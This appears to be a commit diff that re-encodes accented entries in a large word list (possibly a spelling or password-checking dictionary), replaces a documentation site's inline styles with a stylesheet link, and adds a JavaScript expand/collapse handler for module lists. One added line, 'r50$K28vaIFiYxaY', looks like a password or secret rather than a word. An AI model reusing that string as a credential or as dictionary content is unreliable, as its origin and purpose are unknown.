@@ -13840,15 +13840,15 @@ clewer
|
||||
cliburn
|
||||
cliche
|
||||
cliched
|
||||
cliché
|
||||
clichéd
|
||||
clichés
|
||||
cliché
|
||||
clichéd
|
||||
clichés
|
||||
click
|
||||
clicker
|
||||
clicking
|
||||
client
|
||||
clientele
|
||||
clientèle
|
||||
clientèle
|
||||
cliff
|
||||
cliff-hanger
|
||||
cliffdale
|
||||
@@ -13951,7 +13951,7 @@ clogged
|
||||
clogging
|
||||
cloisonne
|
||||
cloisonnes
|
||||
cloisonné
|
||||
cloisonné
|
||||
cloister
|
||||
cloistral
|
||||
clomp
|
||||
@@ -14968,7 +14968,7 @@ communing
|
||||
communion
|
||||
communique
|
||||
communiques
|
||||
communiqué
|
||||
communiqué
|
||||
communise
|
||||
communism
|
||||
communist
|
||||
@@ -15196,8 +15196,8 @@ computerize
|
||||
computes
|
||||
computicket
|
||||
computing
|
||||
compère
|
||||
compères
|
||||
compère
|
||||
compères
|
||||
comrade
|
||||
comradeliest
|
||||
comradeliness
|
||||
@@ -15241,7 +15241,7 @@ concentrator
|
||||
concentric
|
||||
concentrically
|
||||
concepcion
|
||||
concepción
|
||||
concepción
|
||||
concept
|
||||
conception
|
||||
conceptional
|
||||
@@ -15504,8 +15504,8 @@ confrontation
|
||||
confrontational
|
||||
confrontationally
|
||||
confronter
|
||||
confrère
|
||||
confrères
|
||||
confrère
|
||||
confrères
|
||||
confucian
|
||||
confucianism
|
||||
confucius
|
||||
@@ -15755,8 +15755,8 @@ consolidation
|
||||
consolidator
|
||||
consoling
|
||||
consomme
|
||||
consommé
|
||||
consommés
|
||||
consommé
|
||||
consommés
|
||||
consonance
|
||||
consonances
|
||||
consonant
|
||||
@@ -16539,8 +16539,8 @@ cortisone
|
||||
cortland
|
||||
cortney
|
||||
corty
|
||||
cortège
|
||||
cortèges
|
||||
cortège
|
||||
cortèges
|
||||
corundum
|
||||
coruscate
|
||||
coruscation
|
||||
@@ -16657,8 +16657,8 @@ coulis
|
||||
coulomb
|
||||
coulter
|
||||
coulthard
|
||||
coulée
|
||||
coulées
|
||||
coulée
|
||||
coulées
|
||||
council
|
||||
councillor
|
||||
councilman
|
||||
@@ -16791,7 +16791,7 @@ couples
|
||||
couplet
|
||||
coupling
|
||||
coupon
|
||||
coupé
|
||||
coupé
|
||||
cour
|
||||
courage
|
||||
courageous
|
||||
@@ -17506,8 +17506,8 @@ crowning
|
||||
crows
|
||||
croydon
|
||||
crozier
|
||||
croûton
|
||||
croûtons
|
||||
croûton
|
||||
croûtons
|
||||
crt
|
||||
crucial
|
||||
cruciate
|
||||
@@ -17526,7 +17526,7 @@ crude
|
||||
crudeness
|
||||
crudites
|
||||
crudity
|
||||
crudités
|
||||
crudités
|
||||
cruel
|
||||
cruelled
|
||||
cruelling
|
||||
@@ -17634,12 +17634,12 @@ crystallographer
|
||||
crystallographic
|
||||
crystallography
|
||||
crystie
|
||||
crèche
|
||||
crèches
|
||||
crème
|
||||
crêpe
|
||||
crêpes
|
||||
crêpey
|
||||
crèche
|
||||
crèches
|
||||
crème
|
||||
crêpe
|
||||
crêpes
|
||||
crêpey
|
||||
cs
|
||||
csa
|
||||
cse
|
||||
@@ -18113,7 +18113,7 @@ czechoslovakian
|
||||
czechs
|
||||
czerniak
|
||||
czerny
|
||||
côte
|
||||
côte
|
||||
d
|
||||
da
|
||||
daantjie
|
||||
@@ -18299,7 +18299,7 @@ damson
|
||||
dan
|
||||
dana
|
||||
danarand
|
||||
danaë
|
||||
danaë
|
||||
danbury
|
||||
dance
|
||||
danceable
|
||||
@@ -19951,8 +19951,8 @@ derrik
|
||||
derril
|
||||
derrinallum
|
||||
derringer
|
||||
derrière
|
||||
derrières
|
||||
derrière
|
||||
derrières
|
||||
derron
|
||||
derry
|
||||
dersley
|
||||
@@ -20447,7 +20447,7 @@ diamagnetic
|
||||
diamante
|
||||
diamanthoogte
|
||||
diamantina
|
||||
diamanté
|
||||
diamanté
|
||||
diameter
|
||||
diametric
|
||||
diametrical
|
||||
@@ -21077,8 +21077,8 @@ discordant
|
||||
discorporate
|
||||
discorporated
|
||||
discotheque
|
||||
discothèque
|
||||
discothèques
|
||||
discothèque
|
||||
discothèques
|
||||
discount
|
||||
discountability
|
||||
discountable
|
||||
@@ -21613,9 +21613,9 @@ divisor
|
||||
divorce
|
||||
divorcee
|
||||
divorcement
|
||||
divorcé
|
||||
divorcée
|
||||
divorcées
|
||||
divorcé
|
||||
divorcée
|
||||
divorcées
|
||||
divot
|
||||
divulge
|
||||
divvy
|
||||
@@ -22000,7 +22000,7 @@ dopiness
|
||||
dopinesses
|
||||
doping
|
||||
doppelganger
|
||||
doppelgänger
|
||||
doppelgänger
|
||||
doppies
|
||||
doppler
|
||||
dopy
|
||||
@@ -22077,7 +22077,7 @@ dorthea
|
||||
dorthy
|
||||
dortmund
|
||||
dory
|
||||
doré
|
||||
doré
|
||||
dos
|
||||
dosage
|
||||
dose
|
||||
@@ -22553,7 +22553,7 @@ drowse
|
||||
drowsily
|
||||
drowsiness
|
||||
drowsy
|
||||
droëwors
|
||||
droëwors
|
||||
dru
|
||||
drub
|
||||
drubbed
|
||||
@@ -22948,7 +22948,7 @@ duynefontein
|
||||
dvd
|
||||
dvina
|
||||
dvorak
|
||||
dvorák
|
||||
dvorák
|
||||
dwaal
|
||||
dwaalboom
|
||||
dwain
|
||||
@@ -23034,33 +23034,33 @@ dzimauli
|
||||
dzongkha
|
||||
dzumeri
|
||||
dzungaria
|
||||
début
|
||||
débutante
|
||||
débutantes
|
||||
débuts
|
||||
débâcle
|
||||
débâcles
|
||||
déclassé
|
||||
déclassée
|
||||
décolletage
|
||||
décolletages
|
||||
décolleté
|
||||
décolletée
|
||||
décor
|
||||
décors
|
||||
découpage
|
||||
déjà
|
||||
démodé
|
||||
dénouement
|
||||
dépaysé
|
||||
dépaysée
|
||||
dérailleur
|
||||
dérailleurs
|
||||
déshabillé
|
||||
détente
|
||||
détentes
|
||||
dürer
|
||||
düsseldorf
|
||||
début
|
||||
débutante
|
||||
débutantes
|
||||
débuts
|
||||
débâcle
|
||||
débâcles
|
||||
déclassé
|
||||
déclassée
|
||||
décolletage
|
||||
décolletages
|
||||
décolleté
|
||||
décolletée
|
||||
décor
|
||||
décors
|
||||
découpage
|
||||
déjà
|
||||
démodé
|
||||
dénouement
|
||||
dépaysé
|
||||
dépaysée
|
||||
dérailleur
|
||||
dérailleurs
|
||||
déshabillé
|
||||
détente
|
||||
détentes
|
||||
dürer
|
||||
düsseldorf
|
||||
e
|
||||
e-commerce
|
||||
e-mail
|
||||
@@ -24137,7 +24137,7 @@ elysia
|
||||
elysian
|
||||
elysium
|
||||
elyssa
|
||||
elysée
|
||||
elysée
|
||||
em
|
||||
ema
|
||||
emabheleni
|
||||
@@ -24869,8 +24869,8 @@ entreatingly
|
||||
entreaty
|
||||
entrechat
|
||||
entrecote
|
||||
entrecôte
|
||||
entrecôtes
|
||||
entrecôte
|
||||
entrecôtes
|
||||
entree
|
||||
entrees
|
||||
entremets
|
||||
@@ -24880,8 +24880,8 @@ entrepot
|
||||
entrepreneur
|
||||
entrepreneurial
|
||||
entrepreneurship
|
||||
entrepôt
|
||||
entrepôts
|
||||
entrepôt
|
||||
entrepôts
|
||||
entries
|
||||
entropic
|
||||
entropy
|
||||
@@ -24890,8 +24890,8 @@ entry
|
||||
entryphone
|
||||
entryphones
|
||||
entryway
|
||||
entrée
|
||||
entrées
|
||||
entrée
|
||||
entrées
|
||||
entshonalanga
|
||||
entshongwe
|
||||
entumbane
|
||||
@@ -25442,7 +25442,7 @@ ester
|
||||
estera
|
||||
esterase
|
||||
esterhazy
|
||||
esterházy
|
||||
esterházy
|
||||
esterpark
|
||||
estes
|
||||
estevan
|
||||
@@ -26239,8 +26239,8 @@ expository
|
||||
expostulate
|
||||
expostulation
|
||||
exposure
|
||||
exposé
|
||||
exposés
|
||||
exposé
|
||||
exposés
|
||||
expound
|
||||
expounder
|
||||
express
|
||||
@@ -26493,7 +26493,7 @@ fab
|
||||
fabe
|
||||
faber
|
||||
faberge
|
||||
fabergé
|
||||
fabergé
|
||||
fabian
|
||||
fabiano
|
||||
fabians
|
||||
@@ -27073,10 +27073,10 @@ fays
|
||||
fayth
|
||||
faythe
|
||||
faze
|
||||
façade
|
||||
façades
|
||||
faïence
|
||||
faïences
|
||||
façade
|
||||
façades
|
||||
faïence
|
||||
faïences
|
||||
fbi
|
||||
fcc
|
||||
fd
|
||||
@@ -27438,10 +27438,10 @@ fi
|
||||
fia
|
||||
fiance
|
||||
fiancee
|
||||
fiancé
|
||||
fiancée
|
||||
fiancées
|
||||
fiancés
|
||||
fiancé
|
||||
fiancée
|
||||
fiancées
|
||||
fiancés
|
||||
fiann
|
||||
fianna
|
||||
fiasco
|
||||
@@ -28051,10 +28051,10 @@ flambes
|
||||
flamboyance
|
||||
flamboyancy
|
||||
flamboyant
|
||||
flambé
|
||||
flambéed
|
||||
flambéing
|
||||
flambés
|
||||
flambé
|
||||
flambéed
|
||||
flambéing
|
||||
flambés
|
||||
flame
|
||||
flame-proof
|
||||
flame-proofed
|
||||
@@ -29111,7 +29111,7 @@ fosterer
|
||||
fostering
|
||||
fotomat
|
||||
foucault
|
||||
fouché
|
||||
fouché
|
||||
fought
|
||||
foul
|
||||
foul-mouth
|
||||
@@ -29306,14 +29306,14 @@ franticness
|
||||
frants
|
||||
franz
|
||||
franzen
|
||||
françois
|
||||
françoise
|
||||
françois
|
||||
françoise
|
||||
frap
|
||||
frappe
|
||||
frappeed
|
||||
frappeing
|
||||
frappes
|
||||
frappé
|
||||
frappé
|
||||
frasco
|
||||
fraser
|
||||
fraserburg
|
||||
@@ -29993,11 +29993,11 @@ fy
|
||||
fyi
|
||||
fynbos
|
||||
fynnland
|
||||
fête
|
||||
fêtes
|
||||
föhn
|
||||
führer
|
||||
führers
|
||||
fête
|
||||
fêtes
|
||||
föhn
|
||||
führer
|
||||
führers
|
||||
g
|
||||
g-string
|
||||
g-strings
|
||||
@@ -30428,8 +30428,8 @@ garwin
|
||||
garwood
|
||||
gary
|
||||
garza
|
||||
garçon
|
||||
garçons
|
||||
garçon
|
||||
garçons
|
||||
gas
|
||||
gas-permeable
|
||||
gasbag
|
||||
@@ -31012,7 +31012,7 @@ gettysburg
|
||||
getup
|
||||
gewgaw
|
||||
gewurztraminer
|
||||
gewürztraminer
|
||||
gewürztraminer
|
||||
geysdorp
|
||||
geyser
|
||||
gezangave
|
||||
@@ -31316,10 +31316,10 @@ glaciological
|
||||
glaciologist
|
||||
glaciology
|
||||
glacis
|
||||
glacé
|
||||
glacéed
|
||||
glacéing
|
||||
glacés
|
||||
glacé
|
||||
glacéed
|
||||
glacéing
|
||||
glacés
|
||||
glad
|
||||
gladded
|
||||
gladden
|
||||
@@ -32726,11 +32726,11 @@ grus
|
||||
grusky
|
||||
gruyere
|
||||
gruyeres
|
||||
gruyère
|
||||
gruyère
|
||||
gryphon
|
||||
grysvok
|
||||
grâce
|
||||
grünewald
|
||||
grâce
|
||||
grünewald
|
||||
gs
|
||||
gsa
|
||||
gsm
|
||||
@@ -33098,8 +33098,8 @@ gyromagnetic
|
||||
gyroscope
|
||||
gyroscopic
|
||||
gyve
|
||||
gödel
|
||||
göteborg
|
||||
gödel
|
||||
göteborg
|
||||
h
|
||||
h2opolo
|
||||
ha
|
||||
@@ -33137,8 +33137,8 @@ habitualness
|
||||
habituate
|
||||
habituation
|
||||
habitue
|
||||
habitué
|
||||
habitués
|
||||
habitué
|
||||
habitués
|
||||
hacienda
|
||||
hack
|
||||
hackable
|
||||
@@ -36618,7 +36618,7 @@ hysterical
|
||||
hystericism
|
||||
hyundai
|
||||
hz
|
||||
héloise
|
||||
héloise
|
||||
i
|
||||
i.e.
|
||||
ia
|
||||
@@ -38232,8 +38232,8 @@ inguinal
|
||||
ingunna
|
||||
ingvar
|
||||
ingwavuma
|
||||
ingénue
|
||||
ingénues
|
||||
ingénue
|
||||
ingénues
|
||||
inhabit
|
||||
inhabitable
|
||||
inhabitance
|
||||
@@ -39844,8 +39844,8 @@ jakey
|
||||
jakie
|
||||
jakob
|
||||
jalapeno
|
||||
jalapeño
|
||||
jalapeños
|
||||
jalapeño
|
||||
jalapeños
|
||||
jalopy
|
||||
jalousie
|
||||
jam
|
||||
@@ -39963,8 +39963,8 @@ jarad
|
||||
jard
|
||||
jardine
|
||||
jardiniere
|
||||
jardinière
|
||||
jardinières
|
||||
jardinière
|
||||
jardinières
|
||||
jareb
|
||||
jared
|
||||
jarful
|
||||
@@ -40579,7 +40579,7 @@ jostle
|
||||
jostling
|
||||
josue
|
||||
josy
|
||||
josé
|
||||
josé
|
||||
jot
|
||||
jotted
|
||||
jotter
|
||||
@@ -41766,8 +41766,8 @@ kinder
|
||||
kindergarten
|
||||
kindergartener
|
||||
kindergartner
|
||||
kindergärtner
|
||||
kindergärtners
|
||||
kindergärtner
|
||||
kindergärtners
|
||||
kindest
|
||||
kindhearted
|
||||
kindheartedness
|
||||
@@ -42434,8 +42434,8 @@ krystal
|
||||
krystalle
|
||||
krystle
|
||||
krystyna
|
||||
króna
|
||||
krónur
|
||||
króna
|
||||
krónur
|
||||
ks
|
||||
kshatriya
|
||||
kt
|
||||
@@ -42926,7 +42926,7 @@ lamport
|
||||
lamppost
|
||||
lamprey
|
||||
lampshade
|
||||
lamé
|
||||
lamé
|
||||
lan
|
||||
lana
|
||||
lanae
|
||||
@@ -44646,8 +44646,8 @@ littleness
|
||||
littleton
|
||||
litton
|
||||
littoral
|
||||
littérateur
|
||||
littérateurs
|
||||
littérateur
|
||||
littérateurs
|
||||
liturgic
|
||||
liturgical
|
||||
liturgics
|
||||
@@ -44939,7 +44939,7 @@ lombard
|
||||
lombardi
|
||||
lombardy
|
||||
lome
|
||||
lomé
|
||||
lomé
|
||||
lon
|
||||
lona
|
||||
london
|
||||
@@ -45496,7 +45496,7 @@ luminescent
|
||||
luminosity
|
||||
luminous
|
||||
luminousness
|
||||
lumière
|
||||
lumière
|
||||
lumku
|
||||
lummox
|
||||
lump
|
||||
@@ -45655,7 +45655,7 @@ lychgate
|
||||
lycopodium
|
||||
lycra
|
||||
lycurgus
|
||||
lycée
|
||||
lycée
|
||||
lyda
|
||||
lydenburg
|
||||
lydia
|
||||
@@ -45858,8 +45858,8 @@ macos
|
||||
macpaint
|
||||
macquarie
|
||||
macrame
|
||||
macramé
|
||||
macramés
|
||||
macramé
|
||||
macramés
|
||||
macro
|
||||
macrobiotic
|
||||
macrobiotics
|
||||
@@ -46414,7 +46414,7 @@ mallala
|
||||
mallapunyah
|
||||
mallard
|
||||
mallarme
|
||||
mallarmé
|
||||
mallarmé
|
||||
malleability
|
||||
malleable
|
||||
malleableness
|
||||
@@ -46696,7 +46696,7 @@ manorial
|
||||
manpower
|
||||
manque
|
||||
manquzu
|
||||
manqué
|
||||
manqué
|
||||
mans
|
||||
mansard
|
||||
manse
|
||||
@@ -46758,10 +46758,10 @@ manzengwenya
|
||||
manzi
|
||||
manzibomvu
|
||||
manzimahle
|
||||
manège
|
||||
manèged
|
||||
manèges
|
||||
manèging
|
||||
manège
|
||||
manèged
|
||||
manèges
|
||||
manèging
|
||||
mao
|
||||
maoism
|
||||
maoist
|
||||
@@ -47448,7 +47448,7 @@ matimatolo
|
||||
matinee
|
||||
mating
|
||||
matins
|
||||
matinée
|
||||
matinée
|
||||
matisse
|
||||
matiwane
|
||||
matjeka
|
||||
@@ -47540,8 +47540,8 @@ matzoh
|
||||
matzot
|
||||
matzoth
|
||||
matzotshweni
|
||||
matériel
|
||||
matériels
|
||||
matériel
|
||||
matériels
|
||||
mau
|
||||
maubane
|
||||
maud
|
||||
@@ -47688,8 +47688,8 @@ mazourka
|
||||
mazurka
|
||||
mazy
|
||||
mazzini
|
||||
maître
|
||||
mañana
|
||||
maître
|
||||
mañana
|
||||
mb
|
||||
mba
|
||||
mbabane
|
||||
@@ -51549,15 +51549,15 @@ mzomusha
|
||||
mzonga
|
||||
mzonyane
|
||||
mzotho
|
||||
mélange
|
||||
mémoire
|
||||
ménage
|
||||
métier
|
||||
métiers
|
||||
mêlée
|
||||
mêlées
|
||||
möbius
|
||||
münchhausen
|
||||
mélange
|
||||
mémoire
|
||||
ménage
|
||||
métier
|
||||
métiers
|
||||
mêlée
|
||||
mêlées
|
||||
möbius
|
||||
münchhausen
|
||||
n
|
||||
na
|
||||
naaco
|
||||
@@ -51632,8 +51632,8 @@ naive
|
||||
naiveness
|
||||
naivete
|
||||
naivety
|
||||
naiveté
|
||||
naivetés
|
||||
naiveté
|
||||
naivetés
|
||||
nakamura
|
||||
nakayama
|
||||
naked
|
||||
@@ -51939,13 +51939,13 @@ nazca
|
||||
nazi
|
||||
naziism
|
||||
nazism
|
||||
naïve
|
||||
naïvely
|
||||
naïveness
|
||||
naïveties
|
||||
naïvety
|
||||
naïveté
|
||||
naïvetés
|
||||
naïve
|
||||
naïvely
|
||||
naïveness
|
||||
naïveties
|
||||
naïvety
|
||||
naïveté
|
||||
naïvetés
|
||||
nb
|
||||
nba
|
||||
nbc
|
||||
@@ -52136,8 +52136,8 @@ negligent
|
||||
negligibility
|
||||
negligible
|
||||
negligibly
|
||||
negligée
|
||||
negligées
|
||||
negligée
|
||||
negligées
|
||||
negotiability
|
||||
negotiable
|
||||
negotiant
|
||||
@@ -54074,10 +54074,10 @@ nouakchott
|
||||
nougat
|
||||
nought
|
||||
noumea
|
||||
nouméa
|
||||
nouméa
|
||||
noun
|
||||
nounal
|
||||
nounéa
|
||||
nounéa
|
||||
noupoort
|
||||
nourish
|
||||
nourished
|
||||
@@ -54431,10 +54431,10 @@ nzima
|
||||
nzimakazi
|
||||
nzokhulayo
|
||||
nzombane
|
||||
nè
|
||||
né
|
||||
née
|
||||
négligé
|
||||
nè
|
||||
né
|
||||
née
|
||||
négligé
|
||||
o
|
||||
oaf
|
||||
oafish
|
||||
@@ -55069,7 +55069,7 @@ olympian
|
||||
olympic
|
||||
olympie
|
||||
olympus
|
||||
olé
|
||||
olé
|
||||
om
|
||||
omagh
|
||||
omaha
|
||||
@@ -55933,7 +55933,7 @@ outrigger
|
||||
outright
|
||||
outrun
|
||||
outrunning
|
||||
outré
|
||||
outré
|
||||
outscore
|
||||
outsell
|
||||
outset
|
||||
@@ -57060,7 +57060,7 @@ paranoiac
|
||||
paranoid
|
||||
paranormal
|
||||
paranormally
|
||||
paraná
|
||||
paraná
|
||||
parapet
|
||||
paraphernalia
|
||||
paraphrase
|
||||
@@ -57357,8 +57357,8 @@ passwd
|
||||
password
|
||||
password1
|
||||
passworded
|
||||
passé
|
||||
passée
|
||||
passé
|
||||
passée
|
||||
past
|
||||
pasta
|
||||
paste
|
||||
@@ -59360,10 +59360,10 @@ pizzazz
|
||||
pizzeria
|
||||
pizzicati
|
||||
pizzicato
|
||||
piñata
|
||||
piñatas
|
||||
piñon
|
||||
piñons
|
||||
piñata
|
||||
piñatas
|
||||
piñon
|
||||
piñons
|
||||
pj
|
||||
pk
|
||||
pkg
|
||||
@@ -59854,7 +59854,7 @@ poignancy
|
||||
poignant
|
||||
poikilothermic
|
||||
poincare
|
||||
poincaré
|
||||
poincaré
|
||||
poinciana
|
||||
poincianas
|
||||
poindexter
|
||||
@@ -60303,8 +60303,8 @@ portie
|
||||
portiere
|
||||
porting
|
||||
portion
|
||||
portière
|
||||
portières
|
||||
portière
|
||||
portières
|
||||
portland
|
||||
portliness
|
||||
portly
|
||||
@@ -61002,10 +61002,10 @@ premise
|
||||
premiss
|
||||
premium
|
||||
premix
|
||||
première
|
||||
premièred
|
||||
premières
|
||||
premièring
|
||||
première
|
||||
premièred
|
||||
premières
|
||||
premièring
|
||||
premolar
|
||||
premonition
|
||||
premonitory
|
||||
@@ -61923,10 +61923,10 @@ protrusively
|
||||
protrusiveness
|
||||
protuberance
|
||||
protuberant
|
||||
protégé
|
||||
protégée
|
||||
protégées
|
||||
protégés
|
||||
protégé
|
||||
protégée
|
||||
protégées
|
||||
protégés
|
||||
proud
|
||||
proudhon
|
||||
proust
|
||||
@@ -61946,7 +61946,7 @@ provence
|
||||
provender
|
||||
provenience
|
||||
provenly
|
||||
provençal
|
||||
provençal
|
||||
prover
|
||||
proverb
|
||||
proverbial
|
||||
@@ -62019,10 +62019,10 @@ pryce
|
||||
pryer
|
||||
prying
|
||||
pryor
|
||||
précis
|
||||
précised
|
||||
précises
|
||||
précising
|
||||
précis
|
||||
précised
|
||||
précises
|
||||
précising
|
||||
ps
|
||||
psalm
|
||||
psalmist
|
||||
@@ -62429,10 +62429,10 @@ purvey
|
||||
purveyance
|
||||
purveyor
|
||||
purview
|
||||
purée
|
||||
puréed
|
||||
puréeing
|
||||
purées
|
||||
purée
|
||||
puréed
|
||||
puréeing
|
||||
purées
|
||||
pus
|
||||
pusan
|
||||
pusey
|
||||
@@ -62580,10 +62580,10 @@ pyxidia
|
||||
pyxidium
|
||||
pyxis
|
||||
pzazz
|
||||
pâté
|
||||
pères
|
||||
pétain
|
||||
pôrto
|
||||
pâté
|
||||
pères
|
||||
pétain
|
||||
pôrto
|
||||
q
|
||||
q-tips.
|
||||
q-town
|
||||
@@ -63018,6 +63018,7 @@ r1
|
||||
r1s
|
||||
r4
|
||||
r4s
|
||||
r50$K28vaIFiYxaY
|
||||
ra
|
||||
raapkraal
|
||||
rab
|
||||
@@ -63215,7 +63216,7 @@ ragingly
|
||||
raglan
|
||||
ragnar
|
||||
ragnarok
|
||||
ragnarök
|
||||
ragnarök
|
||||
ragout
|
||||
rags-to-riches
|
||||
ragtag
|
||||
@@ -64150,7 +64151,7 @@ recharter
|
||||
recheck
|
||||
recherche
|
||||
recherches
|
||||
recherché
|
||||
recherché
|
||||
rechristen
|
||||
recidivism
|
||||
recidivist
|
||||
@@ -65462,7 +65463,7 @@ repute
|
||||
reputed
|
||||
reputes
|
||||
reputing
|
||||
repêchage
|
||||
repêchage
|
||||
request
|
||||
requested
|
||||
requester
|
||||
@@ -66490,7 +66491,7 @@ risorgimento
|
||||
risotto
|
||||
rispark
|
||||
risque
|
||||
risqué
|
||||
risqué
|
||||
rissole
|
||||
rita
|
||||
ritalin
|
||||
@@ -67101,7 +67102,7 @@ rostropovich
|
||||
rostrum
|
||||
roswell
|
||||
rosy
|
||||
rosé
|
||||
rosé
|
||||
rot
|
||||
rot-gut
|
||||
rota
|
||||
@@ -67211,8 +67212,8 @@ routinize
|
||||
rouvin
|
||||
roux
|
||||
rouxville
|
||||
roué
|
||||
roués
|
||||
roué
|
||||
roués
|
||||
rove
|
||||
rover
|
||||
roving
|
||||
@@ -67604,13 +67605,13 @@ ryon
|
||||
rysmierbult
|
||||
ryukyu
|
||||
ryun
|
||||
régime
|
||||
régimes
|
||||
résumé
|
||||
résumés
|
||||
réunion
|
||||
rôle
|
||||
rôles
|
||||
régime
|
||||
régimes
|
||||
résumé
|
||||
résumés
|
||||
réunion
|
||||
rôle
|
||||
rôles
|
||||
s
|
||||
sa
|
||||
saa
|
||||
@@ -68354,10 +68355,10 @@ saussure
|
||||
saute
|
||||
sauterne
|
||||
sauternes
|
||||
sauté
|
||||
sautéed
|
||||
sautéing
|
||||
sautés
|
||||
sauté
|
||||
sautéed
|
||||
sautéing
|
||||
sautés
|
||||
sauveur
|
||||
savable
|
||||
savage
|
||||
@@ -68721,7 +68722,7 @@ schrod
|
||||
schrodinger
|
||||
schroeder
|
||||
schroedinger
|
||||
schrödinger
|
||||
schrödinger
|
||||
schtick
|
||||
schubert
|
||||
schuinshoogte
|
||||
@@ -70196,12 +70197,12 @@ seychelles
|
||||
seyfert
|
||||
seymour
|
||||
sezela
|
||||
señor
|
||||
señora
|
||||
señoras
|
||||
señores
|
||||
señorita
|
||||
señoritas
|
||||
señor
|
||||
señora
|
||||
señoras
|
||||
señores
|
||||
señorita
|
||||
señoritas
|
||||
sf
|
||||
sforzandi
|
||||
sforzando
|
||||
@@ -72452,7 +72453,7 @@ smutting
|
||||
smutty
|
||||
smyrna
|
||||
smythesdale
|
||||
smörgåsbord
|
||||
smörgåsbord
|
||||
sn
|
||||
snaaks
|
||||
snack
|
||||
@@ -72823,13 +72824,13 @@ soi
|
||||
soi-disant
|
||||
soigne
|
||||
soignee
|
||||
soigné
|
||||
soigné
|
||||
soil
|
||||
soiled
|
||||
soiling
|
||||
soiree
|
||||
soirée
|
||||
soirées
|
||||
soirée
|
||||
soirées
|
||||
sojourn
|
||||
sojourner
|
||||
sojourning
|
||||
@@ -73126,8 +73127,8 @@ sottish
|
||||
sou
|
||||
soubriquet
|
||||
souffle
|
||||
soufflé
|
||||
soufflés
|
||||
soufflé
|
||||
soufflés
|
||||
sough
|
||||
soughing
|
||||
soughs
|
||||
@@ -73161,8 +73162,8 @@ soup
|
||||
soupcon
|
||||
souphanouvong
|
||||
soupy
|
||||
soupçon
|
||||
soupçons
|
||||
soupçon
|
||||
soupçons
|
||||
sour
|
||||
source
|
||||
sourced
|
||||
@@ -76890,9 +76891,9 @@ szechuan
|
||||
szechwan
|
||||
szilard
|
||||
szymborska
|
||||
são
|
||||
séance
|
||||
séances
|
||||
são
|
||||
séance
|
||||
séances
|
||||
t
|
||||
t-bone
|
||||
t-junction
|
||||
@@ -77263,7 +77264,7 @@ tannery
|
||||
tannest
|
||||
tanney
|
||||
tannhauser
|
||||
tannhäuser
|
||||
tannhäuser
|
||||
tannie
|
||||
tannin
|
||||
tanning
|
||||
@@ -78405,7 +78406,7 @@ thespis
|
||||
thessalonian
|
||||
thessalonians
|
||||
thessaloniki
|
||||
thessaloníki
|
||||
thessaloníki
|
||||
thessaly
|
||||
theta
|
||||
theunissen
|
||||
@@ -79406,7 +79407,7 @@ tomorrow
|
||||
tompkins
|
||||
tomsk
|
||||
tomtit
|
||||
tomé
|
||||
tomé
|
||||
ton
|
||||
tonal
|
||||
tonality
|
||||
@@ -79700,7 +79701,7 @@ touchstone
|
||||
touchwood
|
||||
touchy
|
||||
touchy-feely
|
||||
touché
|
||||
touché
|
||||
tough
|
||||
tough-minded
|
||||
toughen
|
||||
@@ -81328,10 +81329,10 @@ tzarist
|
||||
tzatziki
|
||||
tzeltal
|
||||
tzigane
|
||||
tête
|
||||
tête-bêche
|
||||
tête-à-tête
|
||||
tórshavn
|
||||
tête
|
||||
tête-bêche
|
||||
tête-à-tête
|
||||
tórshavn
|
||||
u
|
||||
uar
|
||||
uart
|
||||
@@ -83891,7 +83892,7 @@ valvoline
|
||||
valvular
|
||||
valvules
|
||||
valyland
|
||||
valéry
|
||||
valéry
|
||||
vamoose
|
||||
vamp
|
||||
vamped
|
||||
@@ -84138,8 +84139,8 @@ velvet
|
||||
velveted
|
||||
velveteen
|
||||
velvety
|
||||
velásquez
|
||||
velázquez
|
||||
velásquez
|
||||
velázquez
|
||||
venables
|
||||
venal
|
||||
venality
|
||||
@@ -84508,8 +84509,8 @@ victualer
|
||||
victualler
|
||||
victualling
|
||||
vicuna
|
||||
vicuña
|
||||
vicuñas
|
||||
vicuña
|
||||
vicuñas
|
||||
vida
|
||||
vidal
|
||||
vide
|
||||
@@ -84711,7 +84712,7 @@ virulence
|
||||
virulent
|
||||
virus
|
||||
vis
|
||||
vis-à-vis
|
||||
vis-à-vis
|
||||
visa
|
||||
visage
|
||||
visagiepark
|
||||
@@ -84938,13 +84939,13 @@ voidness
|
||||
voids
|
||||
voila
|
||||
voile
|
||||
voilà
|
||||
voilà
|
||||
voip
|
||||
vol
|
||||
vol-au-vent
|
||||
vol.
|
||||
volapuk
|
||||
volapük
|
||||
volapük
|
||||
volar
|
||||
volatile
|
||||
volatileness
|
||||
@@ -87786,7 +87787,7 @@ yankton
|
||||
yao
|
||||
yaobang
|
||||
yaounde
|
||||
yaoundé
|
||||
yaoundé
|
||||
yap
|
||||
yapped
|
||||
yapping
|
||||
@@ -88383,15 +88384,15 @@ zymurgy
|
||||
zyrtec
|
||||
zyuganov
|
||||
zzz
|
||||
zürich
|
||||
Ågar
|
||||
Ångström
|
||||
éclair
|
||||
éclairs
|
||||
éclat
|
||||
élan
|
||||
émigré
|
||||
émigrés
|
||||
épée
|
||||
étude
|
||||
zürich
|
||||
Ågar
|
||||
Ångström
|
||||
éclair
|
||||
éclairs
|
||||
éclat
|
||||
élan
|
||||
émigré
|
||||
émigrés
|
||||
épée
|
||||
étude
|
||||
vagrant
|
||||
|
||||
+3842
-1349
File diff suppressed because it is too large
Load Diff
@@ -1,9 +1,2 @@
|
||||
<style>
|
||||
#main-content p {
|
||||
text-align: justify;
|
||||
}
|
||||
<link rel="stylesheet" href="{% link assets/css/main.css %}">
|
||||
|
||||
.language-mermaid .label {
|
||||
text-transform: inherit;
|
||||
}
|
||||
</style>
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
// Handle opening/closing module overview list items
|
||||
jtd.onReady(function(ready) {
|
||||
var forEach = function (list, callback) {
|
||||
for (var i = 0; i < list.length; i++) {
|
||||
callback(list[i])
|
||||
}
|
||||
};
|
||||
|
||||
// Bind listeners for expand all / collapse all functionality
|
||||
var bindToggleAll = function (selector, options) {
|
||||
var isOpen = options.open;
|
||||
var expandAllButtons = document.querySelectorAll(selector);
|
||||
forEach(expandAllButtons, function (button) {
|
||||
jtd.addEvent(button, 'click', function (e) {
|
||||
var originalTarget = e.target || e.srcElement || e.originalTarget;
|
||||
if (originalTarget.tagName !== 'A') { return; }
|
||||
|
||||
var moduleList = originalTarget.closest('.module-list');
|
||||
forEach(moduleList.querySelectorAll('.folder > ul'), function (list) {
|
||||
if (isOpen) {
|
||||
list.classList.add('open');
|
||||
} else {
|
||||
list.classList.remove('open');
|
||||
}
|
||||
})
|
||||
|
||||
e.preventDefault();
|
||||
});
|
||||
});
|
||||
};
|
